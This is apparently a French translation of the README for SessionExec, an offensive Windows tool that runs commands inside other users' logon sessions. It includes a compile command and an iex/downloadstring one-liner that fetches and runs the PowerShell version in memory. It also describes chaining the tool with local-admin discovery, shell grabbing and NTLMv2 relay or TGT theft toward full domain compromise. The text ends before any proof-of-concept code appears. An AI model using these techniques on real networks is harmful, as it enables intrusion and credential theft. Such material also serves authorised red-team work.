SessionExec vous permet d'exécuter des commandes spécifiées dans d'autres sessions sur les systèmes Windows, en ciblant un ID de session spécifique ou toutes les sessions, avec la possibilité de supprimer la sortie des commandes.
L'outil s'inspire du code d'exploitation EOP COM Session Moniker, publié il y a longtemps par James Forshaw.
SessionExec utilise les API Windows pour interroger les informations de session et créer des processus au sein de ces sessions.
Compilez SessionExec.cs en exécutant la commande suivante à partir de Build Tools for Visual Studio
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
Ou vous pouvez utiliser Invoke-SessionExec.ps1
qui est le même script, mais s'exécute en mémoire à l'aide de la méthode Reflective Load.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1')
Vous pouvez également trouver une implémentation pure PowerShell de cet outil codé par The-Viper-One ici
SessionExec.exe[/NoOutput]
Invoke-SessionExec[/NoOutput]
Vérifiez quelles sessions sont disponibles à l'aide de la commande quser
. Exécutez ensuite une commande sur une session spécifique, ou All
les sessions.
Si vous êtes un administrateur local sur une ou plusieurs machines au sein d'un réseau et qu'il existe des sessions utilisateur sur ces cibles, vous pouvez utiliser SessionExec et Find-LocalAdminAccess ensemble pour vérifier si l'un de ces utilisateurs dispose d'un accès administrateur local sur d'autres machines dans le réseau.
Si tel est le cas, vous pouvez alors répéter le processus pour les utilisateurs ayant une session sur ces machines. Cette chaîne d'actions pourrait théoriquement conduire à une compromission complète du domaine.
De plus, vous pouvez récupérer des shells en utilisant Amnesiac, capturer des hachages NTLMv2 et les relayer, récupérer des TGT et bien plus encore, le tout de manière automatisée.
Je vais implémenter ce concept dans Amnesiac, et avec The-Viper-One, nous travaillons également à l'implémenter dans PsMapExec.
Pour l'instant, voici une preuve de concept (PoC) :